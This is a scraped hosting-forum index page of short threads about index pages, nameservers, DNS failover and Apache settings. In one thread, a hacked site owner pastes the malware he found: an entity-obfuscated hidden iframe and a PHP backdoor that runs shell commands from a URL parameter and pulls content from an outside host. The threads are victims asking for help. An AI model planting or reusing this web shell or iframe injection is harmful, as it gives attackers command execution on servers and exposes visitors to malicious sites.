How To Display Domain Index.html At Ip And Nameserver

Jul 18, 2009

How do I have mydomain.com display at the main IP address as well as the nameserver IE server01.mydomain.com?

now all that is displayed there is the Apache page

View 5 Replies


ADVERTISEMENT

Static Index.html Pages Hacked, Also Index Files

Sep 8, 2007

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View 5 Replies View Related

Setting Index.html As Default Page Instead Of Index.php?

Jun 23, 2008

Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.

View 1 Replies View Related

Torjan In Html Index

Mar 6, 2008

in many sites in my server torjan in index.html

in <ifram>

how to save my server from that .js torjan

and i need to ask about other thing this torjan can chang any this in backups

View 9 Replies View Related

Unwanted Code In Index.html

Dec 4, 2008

I have multiple demo websites under single domain. and in each folder default page is as index.html

few days back i have observed a blank space on each index.html. when i check the code then i have found an auto generated code just after the body tag in index.html. the code is as follows

<div style="visibility:hidden"><iframe src="[url]

Also I am getting Question marks (?) in some blank spaces in HTML preview.

I have removed it but it again appears after some time. I have contacted to server support but they said that this is SQL Injection attack but there is no database connectivity involved in any of my websites.

View 12 Replies View Related

How To Make Index.html In Evey Folder

Mar 4, 2007

how can i make in SSH install index.html in evey folder without index in my server?

View 6 Replies View Related

Showing As Home Page Without Index.html

Jul 19, 2007

Is it possible to show a default page as the home page of the web site, without setting it as index.html or default.html? This is only on a shared hosting account , so the client does not have access to the apache conf or anything like that.

Here is the site. But, when I move the whole account over to my server, it doesn't show as the home page.

View 5 Replies View Related

Apache :: IFrame From Sub-domain / Refused To Display

Dec 10, 2014

I am running two Apache web servers:

- moodle.myCompany.com (Moodle site)
- content.myCompany.com (web server)

I am trying to display a page, from the content site, through an iFrame, on the Moodle site, and am getting a console.log error message of "Refused to display 'http://subdomain.myCompany.com/index.php' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'."

I have been doing a lot of reading and it sounds like the X-Frame-Options is deprecated and that I should be controlling things through Content-Security-Policy and frame-ancestors. How do I allow content from a sub-domain to load into an iFrame on my moodle site?

View 1 Replies View Related

301 Redirect From Index.htm Index.asp Using Limited IIS Server

Mar 6, 2007

I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.

The problem is that their old index.htm page has a pagerank of 4 which we want to keep.

And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.

The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.

My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?

JavaScript, I have heard is completely out the question

View 3 Replies View Related

If I Use My Domain As A Nameserver Can It Still Be The Website

Mar 30, 2009

Basically as the title says I have a domain thedrunkengamer.net that is my main domain and website, I just got a dedicated server and in the startup steps in WHM im at the Nameserver setup screen.

If i go to GoDaddy and register ns1.thedrunkengamer.net and ns2.thedrunkengamer.net as nameservers can I still use www.thedrunkengamer.net as my website?

If so by doing this will it impact the performance of my website at all? Should I register a seperate domain to use for nameservers?

View 8 Replies View Related

Domain Name And NameServer Settings

Oct 9, 2007

I updated my account from shared to my first VPS account with GoDaddy and they assigned me a I.P.

Now,I choose the options to use GoDaddy NameServers,and i changed the entry there so that my domain name points to my I.P,like this:

Host: @
Point to: <I.P assigned to my domain>

Now,if i type my domain name in the browser,it shows my website but if i click on any link, my I.P address is being shown on the browser instead of my I.P.This is happening for all the links.

what nameservers settings i need to so that this does not happens.

View 6 Replies View Related

Domain Name Server/Nameserver/host Name Issue

Aug 14, 2007

Well, the ns1.NAME.com and ns2.NAME.com is done. It works and links to the right place.

My host name is "dog.NAME.com" and links to the main server IP (example 1.1.1.1). So when i try to do this:
1.1.1.1/~NAME, it redirects me to dog.NAME.com which is good but then dog.NAME.com can't be found.

Server not found is the exact error i get. The IP works. i don't know what i am doing wrong.

My host said they will charge me to fix it, so i am relaying on you guys to save me money.

View 2 Replies View Related

How To Limit Html Parsing To .htm, .html Files Only

Jan 10, 2007

My webserver treat ALL files with html tags inside as html files, e.g. text files or EVEN files without extension.

How to only allow .htm, .html files?

I've deactivated temporary mime magic, I also tried with some RemoveHandler, AddType lines but nothing

View 9 Replies View Related

Index.php Is Not Working But Index.php? Is Ok

Mar 27, 2007

I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.

when I add "?" to the end of the URL[url]" it runs with no problems!

Is it something wrong with httpd.conf or what?

View 6 Replies View Related

Can A Nameserver Be Specified In An A Record By Another Nameserver

Apr 4, 2008

1) I use DNSMadeEasy for a couple of my important domains so I can utilize their failover service.

2) I use my own nameservers for everyone else.

At my register (GoDaddy) I've added host entries to my domain (let's call it host.com) for ALL of my nameservers: DNSMadeEasy and mine. For example here are my host entries:

1) nsdme0.host.com = 55.55.55.55 (DNSMadeEasy)
2) nsdme1.host.com = 56.55.55.55 (DNSMadeEasy)
3) nsdme2.host.com = 57.55.55.55 (DNSMadeEasy)
4) nsdme3.host.com = 58.55.55.55 (DNSMadeEasy)
5) nsdme4.host.com = 59.55.55.55 (DNSMadeEasy)
6) ns1.host.com = 60.55.55.55 (mine)
7) ns2.host.com = 61.55.55.55 (mine)

At the register I've then configured host.com to use the first five nameservers for itself, the DNSMadeEasy nameservers.

For less critical sites that I host I simply point them to ns1.host.com and ns2.host.com, my nameservers.

Now, here's the twist. If I use dig to look up www.host.com I get:

[root@lax1 ~]# dig +trace www.host.com

; <<>> DiG 9.3.3rc2 <<>> +trace www.host.com
;; global options: printcmd
. 220048 IN NS D.ROOT-SERVERS.NET.
...........................................
. 220048 IN NS K.ROOT-SERVERS.NET.
;; Received 228 bytes from 66.63.160.2#53(66.63.160.2) in 1 ms

net. 172800 IN NS J.GTLD-SERVERS.net.
...........................................
net. 172800 IN NS G.GTLD-SERVERS.net.
;; Received 497 bytes from 128.8.10.90#53(D.ROOT-SERVERS.NET) in 74 ms

host.com. 172800 IN NS nsdme0.host.com.
host.com. 172800 IN NS nsdme1.host.com.
host.com. 172800 IN NS nsdme2.host.com.
host.com. 172800 IN NS nsdme3.host.com.
host.com. 172800 IN NS nsdme4.host.com.
;; Received 225 bytes from 192.48.79.30#53(J.GTLD-SERVERS.net) in 125 ms

www.host.com. 1800 IN CNAME host.com.
host.com. 75 IN A 60.55.55.55
host.com. 86400 IN NS nsdme2.host.com.
host.com. 86400 IN NS nsdme1.host.com.
host.com. 86400 IN NS nsdme5.host.com.
host.com. 86400 IN NS nsdme0.host.com.
host.com. 86400 IN NS nsdme4.host.com.
host.com. 86400 IN NS nsdme3.host.com.
;; Received 276 bytes from 123.123.123.123#53(nsdme0.host.com) in 68 ms
BUT, if I lookup the nameserver (ns1.host.com) I get:

Code:
[root@lax1 ~]# dig +trace ns1.host.com

; <<>> DiG 9.3.3rc2 <<>> +trace ns1.host.com
;; global options: printcmd
. 218964 IN NS M.ROOT-SERVERS.NET.
...........................................
. 218964 IN NS K.ROOT-SERVERS.NET.
;; Received 228 bytes from 66.63.160.2#53(66.63.160.2) in 1 ms

net. 172800 IN NS H.GTLD-SERVERS.net.
...........................................
net. 172800 IN NS G.GTLD-SERVERS.net.
;; Received 497 bytes from 202.12.27.33#53(M.ROOT-SERVERS.NET) in 115 ms

ns1.host.com. 172800 IN A 60.55.55.55
host.com. 172800 IN NS nsdme0.host.com.
host.com. 172800 IN NS nsdme1.host.com.
host.com. 172800 IN NS nsdme2.host.com.
host.com. 172800 IN NS nsdme3.host.com.
host.com. 172800 IN NS nsdme4.host.com.
;; Received 241 bytes from 192.54.112.30#53(H.GTLD-SERVERS.net) in 151 ms

What I've realized is that the actual IP addresses for nameserver host entries come from a higher level server than my own, in this case H.GTLD-SERVERS.net. I guess this makes sense but I just hadn't realized it before. It looks like I don't even need to have record entries in my DNS records for the host nameservers.

Now for the question. Can I:

1) Remove my custom host nameserver entries from my register.

2) Add entries in my DNSMadeEasy records to specify the location of ns1.host.com and ns2.host.com.

3) Use the failover provided by DNSMadeEasy to also fail-over my DNS entries for my nameservers?

I know this would require one more hop if it works but it would allow me to provide failover ability to fifty domains without having to purchase the extra domains at DNSMadeEasy.

View 2 Replies View Related

Ssh Display

Jul 30, 2007

I tried to display all email trail. (last 3000 email log)

I used ssh secure shell, and putty.

However, both softwares don't display all the list. (only 200?)

I can see in the beginning, but it just scan those then no display.

Should I change setting?

How many rows to display?

I don't see those option

View 4 Replies View Related

CentOS - Can't Get VNC To Display Properly

Feb 2, 2009

I installed VNC on my VPS using a guide I found here. I installed KDE. It all works but when I view the VPS through VNC on my windows PC the text on the screen appears to be squares as if its a non supported language.

[url]

I've uploaded a screenshot to better help you understand what I mean.

View 11 Replies View Related

Geting Top To Display Script Name Or URL

Jul 3, 2008

Is there a way to get the URL or script name to display in top?

On other servers I've seen some top output using -c which would list the name of the PHP script being run, for example:

nobody 19 4 36796 17m 4656 S 0 1.7 0:04.60 /usr/bin/php /home/site/public_html/index.php

How do I set that up? Is it possible to do it for httpd also?

View 5 Replies View Related

Folders Display Permissions

Oct 13, 2007

I would to know how I can change the display permissions for my website sub folders and files from public view, for instants

The current is you can access to any folders or files once trying access to any folders in my website like open this link www.yoursite.com/photos/ will see all sub-folders and files in this “photos” folder also you can see the other folders in another level by going to the top level folders!

but I think there is a way to enforce my users to write the full path of any selected photo or file they want without browsing my folders and sub-folder.

View 8 Replies View Related

Main Site Page Display

Oct 6, 2009

About the 28th September the host that I was with decided to move servers and did not inform me of this. They tried moving my site and after 18 hours of being offline decided not move my site. It came back offline, only the main page displayed but nothing else works, if you click on anything it goes to 404 page error. Only problem is, the page is displaying data up to 23rd September.

I have a blog and a forum connected and both seem to have lost all the data from the 23rd to 28th September. I have since moved host since the previous host not only did not inform me that they were moving, they didnt even bother taking a backup. I have been with my new host for over a week now so the propogation is definitely complete. Now the problem is whenever I open my blog, it keeps pointing to 23rd September (I have added a lot of posts since then). If I refresh the page, then it will show the latest posts. This is not a problem with the forum though, it works fine.

View 14 Replies View Related

SSL Certificate :: Do You Want To Display Non Secure Items..?

Apr 27, 2008

I am working on a website for a new service company that I started. I wanted the site to be secure so I followed the necessary steps on godaddy but now when people go to the page, a pop up says "do you want to display non secure items.."

View 5 Replies View Related

Apache :: Get Server-status To Display

Mar 24, 2014

i am trying to get server-status to display. when i have the following set:

<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from .myServer.com
</Location>

You don't have permission to access /server-status on this server.

View 3 Replies View Related

Apache :: How To Display SSL / TLS Errors In Log Files

Feb 28, 2014

I have installed Apache httpd and setup a SSL/TLS connection. SSL/TLS is working without a problem. I can clearly see httpS address in browser.

What I have found out that if browser gets some SSL/TLS error like trying to establish SSL/TLS connection with old protocol and web server refuses connection there is no error in SSL/TLS log recorded. I would like that every SSL/TLS attempt with error is recorded in ssl_error.log file. How to define settings in Apache config files to enable SSL/TLS error logging?

View 1 Replies View Related

Plesk 12.x / Linux :: None Of FTP Display Folder

Oct 16, 2014

The server authenticates the FTP login, Plesk Panel shows the session, but none of the FTP's display the folder. Whats the command to reset FTP connections.

CentOS 7 + Parallels 12.0.18 I've found articles for older versions or CentOS 6, but those commands no longer work...

View 1 Replies View Related

.JSP Page Will Not Display On GoDaddy Linux Hosting

Jan 12, 2009

I can not get a .JSP page to display on a deluxe hosted GoDaddy account. I have tried the most basic page. Just to make sure I do not have a type-o, I even used an HTML page to direct me.

Here is the HTML page that has the hyperlink. This page displays fine.

Code:
<html>
<head>
<title>Test</title>
</head>

<body>

Here is a test page

<a href="test.jsp">Test JSP</a>

</body>
</html>
Here is the JSP page that can not be displayed.

Code:
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
[url]

<html>
<head>
<title>Test</title>
</head>

<body>

Here is a test JSP page

</body>
</html>

When I click on the link, I get the HTTP 400 error saying the webpage could not be found. I know the code works since I have tested it locally. Plus the code is very simple.

I am very stumped here and have tried GoDaddy’s help multiple times. They keep telling me it is a scripting issue. I am not sure how it can be a scripting issue because there is no script here. Basically, it is an HTML page with a .JSP extension.

View 11 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved